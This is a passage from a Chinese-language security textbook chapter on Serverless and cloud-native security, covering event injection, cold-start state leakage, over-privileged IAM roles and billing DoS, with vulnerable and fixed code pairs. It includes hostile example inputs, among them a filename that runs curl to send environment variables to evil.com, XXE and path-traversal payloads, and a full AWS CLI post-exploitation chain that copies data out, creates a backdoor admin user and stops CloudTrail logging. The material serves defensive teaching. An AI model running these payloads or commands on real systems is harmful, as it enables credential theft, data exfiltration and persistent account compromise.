新兴攻击面与专项安全 — 云原生与 Serverless

📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 5 册 本册内容:第十章:新兴云原生与 Serverless 安全(共 12,063 行)

全 7 册导航:

分册 内容 规模
00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行

| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 | | 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 | | 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 | | 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 | | 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 ← 本册 | | 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |

术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。


第十章:新兴云原生与 Serverless 安全(边界消失之后)

本章定位:前面九章里,“服务器”这个概念虽然形态变了(物理机 → 虚拟机 → 容器), 但它依然存在 —— 你还能登录上去、还能看到进程、还能查日志。

第十章面对的世界不一样了:

传统架构:      你有一台服务器 → 你在上面跑应用 → 你负责它的安全
容器架构:      你有一批 Pod   → 你还是能看到进程、能 exec 进去
Serverless:    ★ 你没有服务器了
                你只有【一段函数】,
                云平台在你看不见的地方帮你跑,跑完就销毁

   ┌─────────────────────────────────────────────────┐
   │  Serverless 带来的三个根本变化:                  │
   │                                                  │
   │  ① 【攻击面从"主机"转移到"配置和数据流"】         │
   │     你不再担心"服务器被 SSH 爆破",              │
   │     但要担心"IAM 角色权限过大"、"事件被注入"      │
   │                                                  │
   │  ② 【边界消失】                                  │
   │     没有 IP、没有端口、没有主机可以加固           │
   │     → 传统基于网络边界的防护全部失效              │
   │                                                  │
   │  ③ 【权限模型的复杂度和危险度都大幅上升】         │
   │     函数需要权限访问其他云服务,                  │
   │     ★ 而"给权限"这件事在云上特别容易给过头        │
   └─────────────────────────────────────────────────┘

本章回答五个问题

① Serverless(FaaS)到底有哪些新的攻击手法?
   → 事件注入、冷启动状态残留、权限过大、账单 DoS
② 基础设施即代码(Terraform / K8s YAML)怎么写才安全?怎么自动检查?
   → Checkov / tfsec / KICS / OPA
③ 169.254.169.254 这个地址为什么这么危险?SSRF 怎么偷走云凭据?
   → IMDSv1 vs IMDSv2
④ 云上的 IAM 为什么比 Linux 的权限系统危险得多?跨账号访问怎么配才安全?
   → 混乱代理人问题、ExternalId、信任策略、权限边界
⑤ 还有哪些新兴的云原生攻击面?
   → 服务网格、eBPF、WebAssembly、AI 工作负载、GitOps

为什么工程师必须懂这个

场景:你们公司把业务迁到了云函数(AWS Lambda / 阿里云 FC / 腾讯云 SCF)。

老板说:"我们用了 Serverless,没有服务器了,应该更安全了吧?"

你怎么回答?

  ❌ 错误回答:"是的,云厂商负责安全。"
     → 云平台只负责【云平台自身】的安全(虚拟机、网络、存储),
       你的代码、配置和权限是【你的责任】
       ★ 这就是云的"责任共担模型"(Shared Responsibility Model)

  ✅ 正确回答:"底层安全确实由云厂商负责了,
               但我们的攻击面只是【转移】了,没有消失:
                 - 我们之前担心服务器被入侵,
                   现在要担心【函数权限过大】
                 - 之前担心端口暴露,
                   现在要担心【事件源被注入恶意数据】
                 - 之前担心被种挖矿木马,
                   现在要担心【被人刷调用量产生天价账单】
               我会做一次专项评估。"

本文档名词速查(第十章涉及)

名词 白话解释 出处
Serverless(无服务器) 不是真的没有服务器,而是“你不用管服务器”,只写代码,云平台帮你跑 10.1.1
FaaS Function as a Service:函数即服务,Serverless 的主流形态(AWS Lambda 等) 10.1.1
冷启动(Cold Start) 函数长时间没被调用,平台要重新准备运行环境,第一次调用特别慢(几百毫秒~几秒) 10.1.3
热启动 / 容器复用 平台会复用已经准备好的环境,省去冷启动开销 —— ★ 状态会残留到下一次调用 10.1.3
事件注入(Event Injection) 攻击者控制了传给函数的输入数据(如 S3 对象名、MQ 消息),在函数里被当作代码/命令执行 10.1.2
事件源(Event Source) 触发函数执行的东西:HTTP 请求、消息队列、对象存储、定时任务、数据库变更流 10.1.2
执行角色(Execution Role) 函数运行时使用的身份,决定了它能访问哪些云资源 10.1.4
账单 DoS(Financial DoS) 疯狂调用函数,不是把服务打挂,而是让受害者收到天价账单 10.1.5
并发限制(Concurrency Limit) 限制函数同时执行的最大实例数,★ 防账单 DoS 的关键配置 10.1.5
IaC Infrastructure as Code:用代码定义基础设施(Terraform、CloudFormation、K8s YAML) 10.2.1
Terraform HashiCorp 出的 IaC 工具,用 HCL 语言声明云资源 10.2.1
tfstate Terraform 的状态文件,记录了“实际创建了哪些资源”,★ 里面全是明文敏感信息 10.2.5
漂移(Drift) 实际云上的配置和代码里声明的不一致了(有人手工改了控制台) 10.2.6
Checkov / tfsec / KICS 三种主流的 IaC 静态扫描工具 10.2.2
OPA / Rego 开放策略代理:通用的策略引擎,用 Rego 语言写规则,可以做准入控制和 IaC 检查 10.2.4
策略即代码(Policy as Code) 把安全策略写成代码,自动执行,而不是写在文档里靠人遵守 10.2.4
IMDS Instance Metadata Service:实例元数据服务,云主机上一个固定地址(169.254.169.254),能查到自己的临时凭据 10.3.1
SSRF 服务端请求伪造:让服务器去访问攻击者指定的地址(详见 11 号文档) 10.3.1
IMDSv2 IMDS 的第二版,需要先用 PUT 请求换一张临时 token 才能读元数据,★ 能防住大部分 SSRF 利用 10.3.2
Confused Deputy(混乱代理人) A 让 B 去干活,B 的权限被 A 滥用了 —— 跨账号访问里的经典问题 10.4.2
AssumeRole 云上的“切换身份”:用当前身份换取另一个角色的临时凭证 10.4.2
ExternalId 跨账号授权时的一个“暗号”,防止混乱代理人问题 10.4.2
信任策略(Trust Policy) 定义“谁可以 Assume 这个角色”,★ 云 IAM 里最容易配错的东西 10.4.2
权限边界(Permissions Boundary) 给一个身份设置“权限天花板”,不管怎么授权都不能超过它 10.4.4
SCP Service Control Policy:AWS Organizations 里的组织级策略,限制所有账号的上限 10.4.4
服务网格(Service Mesh) 在应用之外加一层基础设施,统一处理服务间通信(Istio/Linkerd) 10.5.1
mTLS 双向 TLS:不只客户端验证服务端,服务端也验证客户端 10.5.1
eBPF 可以在 Linux 内核里安全运行小程序的技术,用于网络、可观测性、安全 10.5.2
WASI / Wasm WebAssembly 的系统接口,让 Wasm 能在浏览器外跑,常被用作轻量沙箱 10.5.3
GitOps 用 Git 仓库作为基础设施的“唯一事实来源”,CD 工具自动同步(ArgoCD / Flux) 10.5.5

10.1 Serverless(FaaS)安全

10.1.1 Serverless 到底改变了什么

定义:Serverless(无服务器)不是真的没有服务器,而是你不用管服务器。你只提供代码(函数),云平台负责运行、扩缩容、高可用、打补丁。

主流产品:AWS Lambda、Azure Functions、Google Cloud Functions、阿里云函数计算(FC)、腾讯云云函数(SCF)、华为云 FunctionGraph。

★ 责任共担模型(Shared Responsibility Model) —— 这是理解云安全的地基:

┌──────────────────────────────────────────────────────────┐
│                    责任划分(以 FaaS 为例)                │
├──────────────────────────────────────────────────────────┤
│                                                            │
│  【云厂商负责】                 【你负责】                  │
│    ✓ 物理机安全                   ✓ 你的函数代码            │
│    ✓ 虚拟化层隔离                 ✓ 函数的 IAM 权限 ★★★     │
│    ✓ 运行时补丁(Node/Python)    ★ 你的依赖(含漏洞的库)  │
│    ✓ 扩缩容与高可用               ✓ 函数的配置              │
│    ✓ 网络基础设施                   (超时、内存、并发)     │
│    ✓ 函数沙箱的隔离               ✓ 输入验证 ★★★           │
│                                  ✓ 数据加密与密钥管理      │
│                                  ✓ 日志与监控              │
│                                                            │
│  ★ 关键:边界在【运行时】这里                              │
│    云厂商保证"你的函数跑在受控沙箱里",                     │
│    但【函数在沙箱里做什么、能访问什么】是你的责任。          │
└──────────────────────────────────────────────────────────┘

★ 一句话记忆:
  云厂商负责"服务器的安全",你负责"服务器【上】的安全"
  —— 即使你看不到那台服务器。

★ Serverless 攻击面的五个转移(面试时画这张表特别有说服力):

传统架构的攻击面 Serverless 里变成什么 为什么更危险
SSH 弱密码 / 22 端口暴露 ❌ 消失了(没有主机可以登录) —
未打补丁的系统漏洞(如脏牛提权) ❌ 大部分消失了(平台负责打补丁) —
Web 应用漏洞(SQL 注入、XSS) ✅ 依然存在(你的代码还是有这些洞) 一样
服务器被种持久化(crontab、后门) 🆕 变成账号内的持久化(新建函数、改触发器) ★ 更隐蔽:没有主机可查,只能查云 API 调用日志
横向移动到其他服务器 🆕 变成通过 IAM 角色访问其他云服务 ★★ 更危险:一个函数的权限可能覆盖整个云账号
端口扫描 / 网络探测 🆕 变成云元数据服务 SSRF(169.254.169.254) ★ 极其常见且危害大(10.3)
资源耗尽 DoS(打挂服务器) 🆕 变成账单 DoS(打不挂,但让你破产) ★ 传统防护全部无效
配置文件泄露 🆕 变成环境变量 / IaC / tfstate 泄露 更集中,泄露一次全完
— 🆕 事件注入(新增的攻击面,传统架构没有) ★ 见 10.1.2
— 🆕 冷启动状态残留(新增,传统架构没有) ★ 见 10.1.3

10.1.2 事件注入(Serverless 特有的“注入攻击”)

★ 定义:Serverless 函数通常不是被 HTTP 请求直接调用的,而是被各种事件源触发的。攻击者如果能控制事件的内容,而函数又没做验证就把事件数据当作命令、路径、SQL、模板来用 —— 这就是事件注入。

传统 Web:
    用户输入 → 你的代码 → SQL 查询
    ★ 大家都知道要参数化查询

Serverless:
    事件源(S3 上传 / MQ 消息 / 数据库变更流)→ 你的函数 → 处理逻辑
    ★★ 很多人【忘了事件源也是不可信输入】!

    错误认知:"这是我们自己系统产生的事件,肯定是安全的"
    ★ 真相:
      - S3 的对象名/内容 —— 用户上传的,完全可控
      - 消息队列的消息体 ——  producer 可能被攻陷
      - 数据库变更流 —— 数据来自用户输入
      - HTTP 请求 —— 最显然的不可信输入
      - 定时事件 —— 唯一相对可信的

★ 七种典型的事件注入

# ============================================================
# ① 命令注入(最常见的致命错误)
# ============================================================
# ❌ 危险:S3 上传图片后触发缩略图生成函数
import os

def lambda_handler(event, context):
    # event['Records'][0]['s3']['object']['key'] = 用户上传的文件名
    filename = event['Records'][0]['s3']['object']['key']

    # ★★★ 攻击者上传一个文件名叫:
    #   "cat.jpg; curl https://evil.com/$(env | base64 -w0)"
    #   或者 "cat.jpg && rm -rf /tmp/*"
    os.system(f"convert /tmp/{filename} -resize 200x200 /tmp/thumb_{filename}")
    #   → 命令注入成功,攻击者可以在函数环境里执行任意命令

# ✅ 正确做法:用列表传参(不用 shell),且校验文件名
import subprocess

def lambda_handler(event, context):
    import re
    filename = event['Records'][0]['s3']['object']['key']

    # ★ ① 白名单校验文件名(这是最关键的一步)
    if not re.fullmatch(r'[a-zA-Z0-9._/-]{1,255}', filename) or '..' in filename:
        raise ValueError(f"Invalid filename: {filename}")

    # ★ ② 用列表传参,不走 shell(shell=False 是默认值)
    subprocess.run(
        ['convert', f'/tmp/{filename}', '-resize', '200x200', f'/tmp/thumb_{filename}'],
        check=True, timeout=30
    )


# ============================================================
# ② 路径遍历(Path Traversal)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
    key = event['key']
    with open(f"/data/{key}", 'r') as f:      # key = "../../../etc/passwd"
        return f.read()

# ✅ 正确:规范化路径 + 校验在允许的根目录内
import os

def lambda_handler(event, context):
    key = event['key']
    base = "/data"
    full = os.path.realpath(os.path.join(base, key))
    # ★ 关键:realpath 解析掉 ../,然后检查是否仍在 base 之内
    if not full.startswith(os.path.realpath(base) + os.sep):
        raise ValueError("Path traversal detected")
    with open(full, 'r') as f:
        return f.read()


# ============================================================
# ③ SQL 注入(在 Serverless 里一样常见)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
    user_id = event['queryStringParameters']['userId']
    sql = f"SELECT * FROM users WHERE id = '{user_id}'"   # ' OR '1'='1
    return db.query(sql)

# ✅ 正确:参数化查询(和传统 Web 一样)
def lambda_handler(event, context):
    user_id = event['queryStringParameters']['userId']
    sql = "SELECT * FROM users WHERE id = %s"
    return db.query(sql, (user_id,))


# ============================================================
# ④ 反序列化漏洞(★ Serverless 里特别常见,因为事件常带 JSON/对象)
# ============================================================
# ❌ 危险:Python 的 pickle
import pickle

def lambda_handler(event, context):
    data = base64.b64decode(event['body'])
    obj = pickle.loads(data)      # ★★★ pickle 反序列化 = 任意代码执行
    return obj.process()

# ✅ 正确:用 JSON(不执行代码)
import json

def lambda_handler(event, context):
    obj = json.loads(event['body'])
    # ★ 然后再做 schema 校验
    if 'action' not in obj or obj['action'] not in ALLOWED_ACTIONS:
        raise ValueError("Invalid action")
    return handle(obj)


# ============================================================
# ⑤ 模板注入(SSTI)
# ============================================================
# ❌ 危险
from jinja2 import Template

def lambda_handler(event, context):
    name = event['name']
    return Template(f"Hello {name}").render()
    #   name = "{{ config.items() }}" 或 "{{ ''.__class__... }}" → RCE

# ✅ 正确:用模板文件 + 变量传参,绝不拼接用户输入进模板字符串
from jinja2 import Environment, select_autoescape

env = Environment(autoescape=select_autoescape(['html']))

def lambda_handler(event, context):
    tmpl = env.from_string("Hello {{ name }}")   # ★ 模板固定
    return tmpl.render(name=event['name'])       # ★ 数据只作为参数


# ============================================================
# ⑥ NoSQL 注入(MongoDB / DynamoDB)
# ============================================================
# ❌ 危险
def lambda_handler(event, context):
    query = json.loads(event['body'])   # 用户直接传 {"$gt": ""}
    return db.users.find(query)         # → 返回所有用户

# ✅ 正确:只接受特定字段,且做类型校验
def lambda_handler(event, context):
    body = json.loads(event['body'])
    user_id = body.get('userId')
    if not isinstance(user_id, str) or not user_id.isalnum():
        raise ValueError("Invalid userId")
    return db.users.find_one({"_id": user_id})


# ============================================================
# ⑦ XML 外部实体注入(XXE)—— 处理 XML 事件时
# ============================================================
# ❌ 危险:默认的 XML 解析器会解析外部实体
import xml.etree.ElementTree as ET

def lambda_handler(event, context):
    root = ET.fromstring(event['body'])
    #   <?xml version="1.0"?>
    #   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    #   <foo>&xxe;</foo>
    #   → 读到函数容器的 /etc/passwd,甚至能读环境变量
    return root.text

# ✅ 正确:禁用外部实体
from defusedxml.ElementTree import fromstring   # pip install defusedxml

def lambda_handler(event, context):
    root = fromstring(event['body'])
    return root.text

★ Serverless 事件注入的防御框架(四条):

① ★ 把所有事件源都当作不可信输入(改变认知,这是第一位的)
     不要因为"这是我们自己的 S3 / 自己的 MQ"就放松警惕。
     ★ 判断标准:这个数据【有没有经过外部用户】?
                 哪怕经过了 3 层系统,只要源头是外部的,就不可信。

② 白名单校验,不是黑名单
     ❌ if ';' in filename or '&' in filename:  → 永远列不全
     ✅ re.fullmatch(r'[a-zA-Z0-9._-]{1,64}', filename)
     ★ Serverless 函数通常功能单一,输入格式很固定,
       特别适合做【严格的 schema 校验】(如用 pydantic / JSON Schema)

③ 用安全的 API 替代危险的 API
     os.system()          → subprocess.run([列表], shell=False)
     pickle.loads()       → json.loads()
     eval() / exec()      → 不要用
     字符串拼接 SQL        → 参数化查询
     字符串拼接模板        → 模板 + 变量渲染
     默认 XML 解析器       → defusedxml

④ ★ 最小权限(就算被注入了,损失也有限)
     函数的执行角色只给它必需的那几个权限(10.1.4)
     → 就算攻击者 RCE 了,他也只能访问那一个 S3 桶,拿不到整个云账号

10.1.3 冷启动与状态残留(Serverless 独有的坑)

冷启动是什么:

函数长时间没被调用 → 平台回收了运行环境
下次调用            → 平台要重新准备(下载代码、启动运行时、初始化)→ 慢

 冷启动耗时参考:
   Python / Node.js:  200ms ~ 1s
   Java(JVM):       1s ~ 5s   ★ 最慢,因为要启动 JVM
   Go / Rust:         100ms ~ 500ms

★ 为了性能,平台会【复用】已经准备好环境:
   请求 1 → 冷启动 → 执行 → 环境保留
   请求 2 → ★ 复用上一次的环境 → 执行 → 环境保留
   ...
   空闲 15~30 分钟 → 环境回收

★ 状态残留为什么是个安全问题:

传统 Web 应用:
   请求之间是【共享同一个进程】的 —— 开发者习惯了"全局变量会保留"

Serverless:
   ★ 开发者容易误以为"每次调用都是全新的"
   实际上:同一个环境会被复用成百上千次

   → 于是产生了两类问题:

   问题一:【全局变量跨请求泄漏】(★ 最严重)
     ```python
     # ❌ 危险:把用户数据存在全局变量里
     current_user = None

     def lambda_handler(event, context):
         global current_user
         current_user = authenticate(event['token'])   # 用户 A 登录
         # ... 中间如果出错 return 了,current_user 没被清空 ...
         return do_something(current_user)

     # 下一次调用(可能是用户 B!)
     # 如果走了某个没重新赋值的分支 → 用的是【用户 A】的身份!
     # ★ 这是真实的越权漏洞,而且极难复现(依赖调用顺序)
     ```

   问题二:【/tmp 目录跨请求残留】
     ```python
     # ❌ 危险:把敏感文件写在 /tmp
     def lambda_handler(event, context):
         open('/tmp/secret.txt', 'w').write(sensitive_data)
         # ★ 函数执行完,/tmp 里的文件还在!
         #   下一次调用(可能是别人的请求)能读到
         # ★ 而且 /tmp 在函数实例被回收前一直存在(可能几小时)
     ```

   ★ 更麻烦的是:你不知道下一次调用是不是复用同一个环境
     → 这类 bug 表现为"偶发的诡异问题",极难排查

★ 正确的写法:

# ============================================================
# ✅ 原则一:绝不用全局变量存请求相关的数据
# ============================================================
# 只把【无状态、可共享】的东西放全局(用于性能优化)

import boto3

# ✅ 安全:数据库连接、SDK client 放全局(复用连接,加速冷启动)
#   ★ 这些对象本身不含用户数据,可以安全复用
s3_client = boto3.client('s3')
db_pool = create_connection_pool()   # 连接池

# ✅ 安全:只读的配置放全局
CONFIG = load_config()

def lambda_handler(event, context):
    # ✅ 用户相关的数据一律放【局部变量】或 context 对象里
    user = authenticate(event['token'])
    # ... 处理请求 ...
    result = do_something(user, db_pool)
    return result
    # ★ 函数返回时,局部变量自动销毁,不会残留


# ============================================================
# ✅ 原则二:敏感临时文件必须显式清理,且用 try/finally
# ============================================================
import os
import tempfile

def lambda_handler(event, context):
    tmp_path = None
    try:
        # ✅ 用 tempfile 生成唯一文件名(避免和其他调用冲突)
        fd, tmp_path = tempfile.mkstemp(suffix='.dat', dir='/tmp')
        with os.fdopen(fd, 'wb') as f:
            f.write(sensitive_data)

        result = process_file(tmp_path)
        return result
    finally:
        # ★★ 无论成功失败都清理(finally 保证执行)
        if tmp_path and os.path.exists(tmp_path):
            # ✅ 更严谨:覆写后再删(防止被恢复)
            with open(tmp_path, 'wb') as f:
                f.write(os.urandom(os.path.getsize(tmp_path)))
            os.remove(tmp_path)


# ============================================================
# ✅ 原则三:★ 不要依赖"环境会/不会被复用"做任何假设
# ============================================================
# ❌ 错误:在全局缓存里做限流(以为每次都是新环境)
# request_count = 0
# def lambda_handler(...):
#     global request_count
#     request_count += 1
#     if request_count > 100: return "rate limited"
#   ★ 这个限流完全不可靠:可能有 50 个并发环境,各自计数

# ✅ 正确:用外部存储做限流(Redis / DynamoDB)
import redis
r = redis.Redis(host=os.environ['REDIS_HOST'])   # 客户端可复用

def lambda_handler(event, context):
    key = f"rate:{event['userId']}"
    count = r.incr(key)
    r.expire(key, 60)
    if count > 100:
        return {"statusCode": 429, "body": "Rate limited"}
    return handle(event)


# ============================================================
# ✅ 原则四:环境变量里的密钥泄露要特别注意
# ============================================================
# ★ Serverless 的环境变量是【明文存储】在云平台配置里的,
#   任何有"查看函数配置"权限的人都能看到。
#   而且在函数里很容易被打印出来。

# ❌ 危险:调试时打印整个环境
def lambda_handler(event, context):
    print(f"DEBUG: {os.environ}")    # ★ 密钥全进日志了
    # ★ 更糟的是:很多公司的日志是"所有人可读"的,
    #   甚至有些把日志输出到了公开的 S3 桶

# ✅ 正确:
#   ① 密钥放专门的密钥管理服务(AWS Secrets Manager / 阿里云 KMS)
#      运行时动态获取并缓存
#   ② 打印日志时脱敏
import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    # ✅ 只打印必要信息,且脱敏
    logger.info("Processing request", extra={
        "requestId": context.aws_request_id,
        "userId": hash_id(event.get('userId')),   # 哈希后打印
        # ★ 不打印 token、密码、密钥
    })

★ 冷启动本身的攻击面(提一下即可,进阶知识):

① 冷启动时间侧信道
   攻击者可以通过测量响应时间,判断"我这次请求是不是冷启动",
   从而推断该函数的调用频率、什么时候被用过。
   → 信息泄露,危害通常不大

② 冷启动期间的"预热攻击"
   攻击者频繁触发冷启动(让平台不断重建环境),
   增加延迟和成本。
   → 用预置并发(Provisioned Concurrency)缓解

③ ★ 资源复用导致的"临时凭据跨调用"
   函数拿到的临时凭据(从环境变量 AWS_ACCESS_KEY_ID 等)
   在整个环境生命周期内有效。
   → 如果代码有漏洞让攻击者读到了环境变量,
     他拿到的凭据能用到环境被回收为止

10.1.4 权限过大:Serverless 最致命的问题

★ 如果这一章只记一件事,记这个:

Serverless 安全里,最常见、最致命、最容易犯的错误是:
    ★ 给函数的执行角色权限过大

  典型错误:
    "lambda_role": {
      "Action": "*",
      "Resource": "*"
    }
    → 这个函数可以访问【云账号里的一切】:
      所有 S3 桶、所有数据库、所有密钥、
      ★ 甚至可以创建新的 IAM 用户给自己开后门

  ★ 为什么这个错误特别普遍?
    ① 开发时"先给个 * 跑通再说",上线忘了收
    ② 云 IAM 的策略语法复杂,写精确策略很麻烦
    ③ 一个函数常常要访问好几个服务,权限越加越多
    ④ 出问题排查时,第一反应是"加点权限试试"
    ⑤ ★ 没有工具告诉你"这个函数实际用到了哪些权限"

★ 一个真实攻擊链(拿到函数权限后能干什么):

初始:攻击者通过 SSRF(10.3)拿到了 Lambda 执行角色的临时凭据

第一步:枚举当前权限
    aws sts get-caller-identity          → 我是谁
    aws iam list-attached-role-policies  → 我有哪些策略(如果允许)
    # ★ 如果没权限,就用"试错法":挨个调 API 看哪个成功

第二步:横向访问云资源
    aws s3 ls                            → 列出所有桶
    aws s3 sync s3://company-data ./     → ★ 拖走全部数据
    aws secretsmanager list-secrets      → 列出所有密钥
    aws rds describe-db-instances        → 找数据库

第三步:★ 提权(如果角色有 iam:* 权限)
    aws iam create-user --user-name backup-svc
    aws iam attach-user-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
    aws iam create-access-key --user-name backup-svc
    # ★ 创建了一个持久的管理员账号 —— 就算原来的漏洞修好了,他还在

第四步:★ 持久化(Serverless 特有)
    # ① 创建一个新的 Lambda 函数作为后门
    aws lambda create-function --function-name "health-check" ...
    # ② 给它加一个定时触发器(每天执行一次,连回 C2)
    aws events put-rule --schedule-expression "rate(1 day)"
    # ③ 修改现有函数的代码(★ 最隐蔽)
    aws lambda update-function-code --function-name legit-function --zip-file fileb://backdoor.zip
    #    → 业务看起来正常运行,但已经在向外传数据

第五步:掩盖痕迹
    # ★ 云上的日志(CloudTrail)是可以被关掉的
    aws cloudtrail stop-logging --name management-events
    # → 之后的 API 调用都不记录了(所以日志本身要防篡改,见下)

★ 正确的权限配置(最小权限原则):

// ============================================================
// ❌ 危险写法 1:通配一切
// ============================================================
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

// ============================================================
// ❌ 危险写法 2:看起来"只给了 S3",实际上是所有桶的所有操作
// ============================================================
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "s3:*",
    "Resource": "*"
  }]
}

// ============================================================
// ✅ 正确写法:精确到"哪个桶的哪个前缀的哪些操作"
// ============================================================
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ReadSourceBucket",
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",            // ★ 只给 Get,不给 Put/Delete
        "s3:GetObjectVersion"
      ],
      "Resource": "arn:aws:s3:::acme-uploads-prod/incoming/*"
      //                                    ↑ 精确到前缀:只能读 incoming/ 下的
    },
    {
      "Sid": "WriteThumbnails",
      "Effect": "Allow",
      "Action": ["s3:PutObject"],
      "Resource": "arn:aws:s3:::acme-uploads-prod/thumbnails/*"
    },
    {
      "Sid": "WriteLogs",
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:cn-north-1:123456789012:log-group:/aws/lambda/acme-thumbnail:*"
    },
    {
      "Sid": "DecryptWithKMSKey",
      "Effect": "Allow",
      "Action": ["kms:Decrypt"],
      "Resource": "arn:aws:kms:cn-north-1:123456789012:key/abcd1234-...",
      "Condition": {
        // ★ 用条件进一步限制:只有来自这个 KMS 密钥的加密上下文才允许
        "StringEquals": {
          "kms:EncryptionContext:service": "thumbnail"
        }
      }
    }
  ]
}
// ★ 注意:这个策略里【没有】iam:* 、没有 secretsmanager:* 、
//        没有 lambda:UpdateFunctionCode
//        → 就算这个函数被 RCE 了,攻击者也只能在两个 S3 前缀里读写

★ 怎么知道“实际需要哪些权限”(这是最难的部分,给方法):

# 方法一:★ 用 CloudTrail / 云审计日志反推(推荐)
#   思路:先给一个宽松权限跑一段时间,从日志里统计"实际调用了哪些 API",
#        然后据此生成最小权限策略,再收紧

# AWS:用 IAM Access Analyzer 自动生成策略
aws accessanalyzer start-policy-generation \
  --policy-generation-details '{
    "principalArn": "arn:aws:iam::123456789012:role/acme-lambda-role"
  }' \
  --cloud-trail-details '{
    "trails": [{"cloudTrailArn": "arn:aws:cloudtrail:...", "regions": ["cn-north-1"],
                "allRegions": false}],
    "accessRole": "arn:aws:iam::123456789012:role/CloudTrailAccessRole"
  }'
# → 它会分析 CloudTrail 里这个角色的实际调用,生成精确策略

# 方法二:本地试跑(适合开发环境)
#   用一个"只写日志不实际执行"的代理,
#   或者先用宽松策略跑测试,然后看 CloudWatch Logs 里的 SDK 调用

# 方法三:用开源工具
#   - policy_sentry(Salesforce 出品):按"资源类型 + 访问级别"生成最小策略
#     pip install policy-sentry
#     policy_sentry create-template --output-file policy.yml --template-type actions
#     policy_sentry write-policy --input-file policy.yml
#   - Cloudsplaining:分析现有策略,找出危险权限
#     pip install cloudsplaining
#     cloudsplaining scan --input-file account-authorization-details.json

# ★ 人工审查清单(不管用不用工具,都要看这几项)
#   □ 有没有 Action: "*" 或 s3:* / iam:* 这类服务级通配
#   □ 有没有 Resource: "*"
#   □ 有没有这些【高危权限】:
#       iam:CreateUser / iam:CreateAccessKey / iam:AttachUserPolicy  (创建后门)
#       iam:PutRolePolicy / iam:AttachRolePolicy                     (给自己加权限)
#       lambda:UpdateFunctionCode / lambda:CreateFunction            (植入后门)
#       cloudtrail:StopLogging / cloudtrail:DeleteTrail              (毁日志)
#       s3:PutBucketPolicy                                            (把桶改成公开)
#       sts:AssumeRole (且没有限制 Resource)                        (横向到其他角色)
#       kms:Decrypt 且 Resource 是 *                                 (解开所有加密)

10.1.5 账单 DoS(Financial Denial of Service)

★ 定义:攻击者不是把你的服务打挂,而是疯狂调用你的函数,让你收到天价账单。

为什么 Serverless 特别容易中招:

  传统架构:服务器资源固定
    攻击者刷流量 → 服务器 CPU 100% → 服务变慢或挂掉
    ★ 但你的成本是【固定的】(服务器已经买了)

  Serverless:按调用次数和执行时间计费
    攻击者刷流量 → 平台自动扩容 → 你的服务【不会挂】
    ★★ 但你的账单【线性增长】

  算一笔账(AWS Lambda 参考价格):
    单价:$0.0000166667 / GB-秒  +  $0.20 / 100 万次请求
    假设函数内存 1024MB(1GB),每次执行 500ms

    正常流量:  100 万次/月  →  100万 × 1GB × 0.5s = 50万 GB-秒
                             →  500000 × 0.0000166667 = $8.33  + 请求费 $0.2  ≈ $8.5/月

    被攻击:    攻击者用 1000 并发刷 24 小时
                1000 并发 × 86400 秒 / 0.5 秒 = 1.728 亿次调用
                → 1.728亿 × 1GB × 0.5s = 8640 万 GB-秒
                → 86400000 × 0.0000166667 = $1440  + 请求费 $34.56
                ★ ≈ $1475 —— 【一天】

    ★ 如果是 10 万并发呢?一天十几万美元。
    ★ 真实案例:有公司因为一个无限循环的 Lambda 被触发,
                一晚上产生 7 万美元账单。

★ 四种攻击手法:

① 直接刷 HTTP 端点
   如果函数通过 API Gateway 暴露在公网,攻击者直接压测
   ★ 最直白

② 递归调用(★ 最容易自己踩坑)
   函数 A 触发函数 B,B 又触发 A → 无限循环
   ★ 真实案例:有人写一个函数处理 S3 事件,
     但函数的输出又写回了同一个 S3 桶 → 无限触发
     → 一夜之间几十万次调用

③ 文件上传炸弹
   如果你的函数在 S3 上传时自动触发(缩略图、病毒扫描),
   攻击者上传几百万个小文件 → 每个都触发一次函数调用

④ 慢函数 + 高并发
   攻击者故意让函数执行到超时(如传一个超大文件让它处理很久),
   同时保持高并发 → 按执行时间计费,成本飙升

★ 防御(五层):

# ============================================================
# 防御 1:★ 设置并发限制(最重要,一定要配)
# ============================================================
# AWS Lambda
aws lambda put-function-concurrency \
  --function-name acme-thumbnail \
  --reserved-concurrent-executions 50
#   ★ 效果:这个函数最多同时跑 50 个实例
#   → 就算被刷,账单也有上限
#   ⚠️ 注意:预留并发会从账号的总并发池里扣除,
#           而且如果设太小会影响正常业务,要根据业务量评估

# ⚠️ 但要注意:预留并发是【预留】,意味着这 50 个并发
#    永远保留给这个函数,其他函数用不了
#    → 如果账号总并发是 1000,给 10 个函数各预留 100,就用光了
#    → 建议:只给"公网可访问"和"会被外部事件触发"的函数设

# ============================================================
# 防御 2:★ 设置预算告警(必须做,这是最后的安全网)
# ============================================================
aws budgets create-budget \
  --account-id 123456789012 \
  --budget '{
    "BudgetName": "lambda-monthly-budget",
    "BudgetLimit": {"Amount": "100", "Unit": "USD"},
    "TimeUnit": "MONTHLY",
    "BudgetType": "COST",
    "CostFilters": {"Service": ["AWS Lambda"]}
  }' \
  --notifications-with-subscribers '[
    {
      "Notification": {
        "NotificationType": "ACTUAL",
